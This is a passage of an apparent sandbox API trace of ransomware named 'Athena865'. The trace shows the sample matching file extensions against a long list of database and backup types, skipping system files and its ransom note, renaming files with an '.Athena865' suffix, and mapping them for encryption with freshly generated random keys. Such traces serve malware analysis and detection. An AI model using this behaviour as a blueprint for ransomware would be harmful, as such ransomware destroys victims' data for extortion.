(lpString1="txt", lpString2="gwi") returned 1 [0091.597] lstrlenW (lpString="hdb") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1 [0091.597] lstrlenW (lpString="his") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="his") returned 1 [0091.597] lstrlenW (lpString="ib") returned 2 [0091.598] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1 [0091.598] lstrlenW (lpString="idb") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1 [0091.598] lstrlenW (lpString="ihx") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1 [0091.598] lstrlenW (lpString="itdb") returned 4 [0091.598] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1 [0091.598] lstrlenW (lpString="itw") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1 [0091.598] lstrlenW (lpString="jet") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1 [0091.598] lstrlenW (lpString="jtx") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1 [0091.598] lstrlenW (lpString="kdb") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1 [0091.598] lstrlenW (lpString="kexi") returned 4 [0091.598] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1 [0091.598] lstrlenW (lpString="kexic") returned 5 [0091.598] lstrcmpiW (lpString1="c.txt", lpString2="kexic") returned -1 [0091.598] lstrlenW (lpString="kexis") returned 5 [0091.598] lstrcmpiW (lpString1="c.txt", lpString2="kexis") returned -1 [0091.598] lstrlenW (lpString="lgc") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1 [0091.598] lstrlenW (lpString="lwx") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1 [0091.598] lstrlenW (lpString="maf") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1 [0091.598] lstrlenW (lpString="maq") returned 3 [0091.598] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1 [0091.598] lstrlenW (lpString="mar") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1 [0091.599] lstrlenW (lpString="marshal") returned 7 [0091.599] lstrcmpiW (lpString1="ric.txt", lpString2="marshal") returned 1 [0091.599] lstrlenW (lpString="mas") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1 [0091.599] lstrlenW (lpString="mav") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1 [0091.599] lstrlenW (lpString="maw") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1 [0091.599] lstrlenW (lpString="mdbhtml") returned 7 [0091.599] lstrcmpiW (lpString1="ric.txt", lpString2="mdbhtml") returned 1 [0091.599] lstrlenW (lpString="mdn") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1 [0091.599] lstrlenW (lpString="mdt") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1 [0091.599] lstrlenW (lpString="mfd") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1 [0091.599] lstrlenW (lpString="mpd") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1 [0091.599] lstrlenW (lpString="mrg") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1 [0091.599] lstrlenW (lpString="mud") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1 [0091.599] lstrlenW (lpString="mwb") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1 [0091.599] lstrlenW (lpString="myd") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1 [0091.599] lstrlenW (lpString="ndf") returned 3 [0091.599] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1 [0091.599] lstrlenW (lpString="nnt") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1 [0091.600] lstrlenW (lpString="nrmlib") returned 6 [0091.600] lstrcmpiW (lpString1="ic.txt", lpString2="nrmlib") returned -1 [0091.600] lstrlenW (lpString="ns2") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1 [0091.600] lstrlenW (lpString="ns3") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1 [0091.600] lstrlenW (lpString="ns4") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1 [0091.600] lstrlenW (lpString="nsf") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1 [0091.600] lstrlenW (lpString="nv") returned 2 [0091.600] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1 [0091.600] lstrlenW (lpString="nv2") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1 [0091.600] lstrlenW (lpString="nwdb") returned 4 [0091.600] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1 [0091.600] lstrlenW (lpString="nyf") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1 [0091.600] lstrlenW (lpString="odb") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.600] lstrlenW (lpString="odb") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1 [0091.600] lstrlenW (lpString="oqy") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1 [0091.600] lstrlenW (lpString="ora") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1 [0091.600] lstrlenW (lpString="orx") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1 [0091.600] lstrlenW (lpString="owc") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1 [0091.600] lstrlenW (lpString="p96") returned 3 [0091.600] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1 [0091.601] lstrlenW (lpString="p97") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1 [0091.601] lstrlenW (lpString="pan") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1 [0091.601] lstrlenW (lpString="pdb") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1 [0091.601] lstrlenW (lpString="pdm") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1 [0091.601] lstrlenW (lpString="pnz") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1 [0091.601] lstrlenW (lpString="qry") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1 [0091.601] lstrlenW (lpString="qvd") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1 [0091.601] lstrlenW (lpString="rbf") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1 [0091.601] lstrlenW (lpString="rctd") returned 4 [0091.601] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1 [0091.601] lstrlenW (lpString="rod") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1 [0091.601] lstrlenW (lpString="rodx") returned 4 [0091.601] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1 [0091.601] lstrlenW (lpString="rpd") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1 [0091.601] lstrlenW (lpString="rsd") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1 [0091.601] lstrlenW (lpString="sas7bdat") returned 8 [0091.601] lstrcmpiW (lpString1="aric.txt", lpString2="sas7bdat") returned -1 [0091.601] lstrlenW (lpString="sbf") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1 [0091.601] lstrlenW (lpString="scx") returned 3 [0091.601] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1 [0091.602] lstrlenW (lpString="sdb") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1 [0091.602] lstrlenW (lpString="sdc") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1 [0091.602] lstrlenW (lpString="sdf") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1 [0091.602] lstrlenW (lpString="sis") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1 [0091.602] lstrlenW (lpString="spq") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1 [0091.602] lstrlenW (lpString="te") returned 2 [0091.602] lstrcmpiW (lpString1="xt", lpString2="te") returned 1 [0091.602] lstrlenW (lpString="teacher") returned 7 [0091.602] lstrcmpiW (lpString1="ric.txt", lpString2="teacher") returned -1 [0091.602] lstrlenW (lpString="tmd") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1 [0091.602] lstrlenW (lpString="tps") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1 [0091.602] lstrlenW (lpString="trc") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.602] lstrlenW (lpString="trc") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1 [0091.602] lstrlenW (lpString="trm") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1 [0091.602] lstrlenW (lpString="udb") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1 [0091.602] lstrlenW (lpString="udl") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1 [0091.602] lstrlenW (lpString="usr") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1 [0091.602] lstrlenW (lpString="v12") returned 3 [0091.602] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1 [0091.603] lstrlenW (lpString="vis") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1 [0091.603] lstrlenW (lpString="vpd") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1 [0091.603] lstrlenW (lpString="vvv") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1 [0091.603] lstrlenW (lpString="wdb") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1 [0091.603] lstrlenW (lpString="wmdb") returned 4 [0091.603] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1 [0091.603] lstrlenW (lpString="wrk") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1 [0091.603] lstrlenW (lpString="xdb") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1 [0091.603] lstrlenW (lpString="xld") returned 3 [0091.603] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1 [0091.603] lstrlenW (lpString="xmlff") returned 5 [0091.603] lstrcmpiW (lpString1="c.txt", lpString2="xmlff") returned -1 [0091.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865") returned 82 [0091.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.athena865"), dwFlags=0x1) returned 1 [0091.604] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.604] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16212) returned 1 [0091.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.604] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.605] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.605] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.605] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4260, lpName=0x0) returned 0x154 [0091.607] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4260) returned 0x100000 [0091.608] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.609] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.609] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.609] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.610] CloseHandle (hObject=0x154) returned 1 [0091.610] CloseHandle (hObject=0x17c) returned 1 [0091.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.610] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="windows") returned -1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="bootmgr") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="temp") returned -1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="pagefile.sys") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="boot") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ids.txt") returned 1 [0091.610] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="ntuser.dat") returned 1 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="perflogs") returned 1 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2="MSBuild") returned 1 [0091.611] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0091.611] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceArray.txt" | out: lpString1="TableTextServiceArray.txt") returned="TableTextServiceArray.txt" [0091.611] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0091.611] lstrlenW (lpString="Athena865") returned 9 [0091.611] lstrcmpiW (lpString1="Array.txt", lpString2="Athena865") returned -1 [0091.611] lstrlenW (lpString=".dll") returned 4 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".dll") returned 1 [0091.611] lstrlenW (lpString=".lnk") returned 4 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".lnk") returned 1 [0091.611] lstrlenW (lpString=".ini") returned 4 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".ini") returned 1 [0091.611] lstrlenW (lpString=".sys") returned 4 [0091.611] lstrcmpiW (lpString1="TableTextServiceArray.txt", lpString2=".sys") returned 1 [0091.611] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0091.611] lstrlenW (lpString="bak") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0091.611] lstrlenW (lpString="ba_") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0091.611] lstrlenW (lpString="dbb") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0091.611] lstrlenW (lpString="vmdk") returned 4 [0091.611] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0091.611] lstrlenW (lpString="rar") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0091.611] lstrlenW (lpString="zip") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0091.611] lstrlenW (lpString="tgz") returned 3 [0091.611] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0091.611] lstrlenW (lpString="vbox") returned 4 [0091.611] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0091.612] lstrlenW (lpString="vdi") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0091.612] lstrlenW (lpString="vhd") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0091.612] lstrlenW (lpString="vhdx") returned 4 [0091.612] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0091.612] lstrlenW (lpString="avhd") returned 4 [0091.612] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0091.612] lstrlenW (lpString="db") returned 2 [0091.612] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0091.612] lstrlenW (lpString="db2") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0091.612] lstrlenW (lpString="db3") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0091.612] lstrlenW (lpString="dbf") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0091.612] lstrlenW (lpString="mdf") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0091.612] lstrlenW (lpString="mdb") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0091.612] lstrlenW (lpString="sql") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0091.612] lstrlenW (lpString="sqlite") returned 6 [0091.612] lstrcmpiW (lpString1="ay.txt", lpString2="sqlite") returned -1 [0091.612] lstrlenW (lpString="sqlite3") returned 7 [0091.612] lstrcmpiW (lpString1="ray.txt", lpString2="sqlite3") returned -1 [0091.612] lstrlenW (lpString="sqlitedb") returned 8 [0091.612] lstrcmpiW (lpString1="rray.txt", lpString2="sqlitedb") returned -1 [0091.612] lstrlenW (lpString="xml") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0091.612] lstrlenW (lpString="$er") returned 3 [0091.612] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0091.613] lstrlenW (lpString="4dd") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0091.613] lstrlenW (lpString="4dl") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0091.613] lstrlenW (lpString="^^^") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0091.613] lstrlenW (lpString="abs") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0091.613] lstrlenW (lpString="abx") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0091.613] lstrlenW (lpString="accdb") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accdb") returned 1 [0091.613] lstrlenW (lpString="accdc") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accdc") returned 1 [0091.613] lstrlenW (lpString="accde") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accde") returned 1 [0091.613] lstrlenW (lpString="accdr") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accdr") returned 1 [0091.613] lstrlenW (lpString="accdt") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accdt") returned 1 [0091.613] lstrlenW (lpString="accdw") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accdw") returned 1 [0091.613] lstrlenW (lpString="accft") returned 5 [0091.613] lstrcmpiW (lpString1="y.txt", lpString2="accft") returned 1 [0091.613] lstrlenW (lpString="adb") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.613] lstrlenW (lpString="adb") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.613] lstrlenW (lpString="ade") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0091.613] lstrlenW (lpString="adf") returned 3 [0091.613] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0091.614] lstrlenW (lpString="adn") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0091.614] lstrlenW (lpString="adp") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0091.614] lstrlenW (lpString="alf") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0091.614] lstrlenW (lpString="ask") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0091.614] lstrlenW (lpString="btr") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0091.614] lstrlenW (lpString="cat") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0091.614] lstrlenW (lpString="cdb") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0091.614] lstrlenW (lpString="ckp") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0091.614] lstrlenW (lpString="cma") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0091.614] lstrlenW (lpString="cpd") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0091.614] lstrlenW (lpString="dacpac") returned 6 [0091.614] lstrcmpiW (lpString1="ay.txt", lpString2="dacpac") returned -1 [0091.614] lstrlenW (lpString="dad") returned 3 [0091.614] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0091.614] lstrlenW (lpString="dadiagrams") returned 10 [0091.614] lstrcmpiW (lpString1="eArray.txt", lpString2="dadiagrams") returned 1 [0091.614] lstrlenW (lpString="daschema") returned 8 [0091.614] lstrcmpiW (lpString1="rray.txt", lpString2="daschema") returned 1 [0091.614] lstrlenW (lpString="db-journal") returned 10 [0091.614] lstrcmpiW (lpString1="eArray.txt", lpString2="db-journal") returned 1 [0091.614] lstrlenW (lpString="db-shm") returned 6 [0091.615] lstrcmpiW (lpString1="ay.txt", lpString2="db-shm") returned -1 [0091.615] lstrlenW (lpString="db-wal") returned 6 [0091.615] lstrcmpiW (lpString1="ay.txt", lpString2="db-wal") returned -1 [0091.615] lstrlenW (lpString="dbc") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0091.615] lstrlenW (lpString="dbs") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0091.615] lstrlenW (lpString="dbt") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0091.615] lstrlenW (lpString="dbv") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0091.615] lstrlenW (lpString="dbx") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0091.615] lstrlenW (lpString="dcb") returned 3 [0091.615] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0091.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865") returned 80 [0091.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt.athena865"), dwFlags=0x1) returned 1 [0091.617] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.617] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1272822) returned 1 [0091.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.618] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.618] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136f00, lpName=0x0) returned 0x154 [0091.620] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x136f00) returned 0x2d50000 [0091.668] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.669] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.669] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 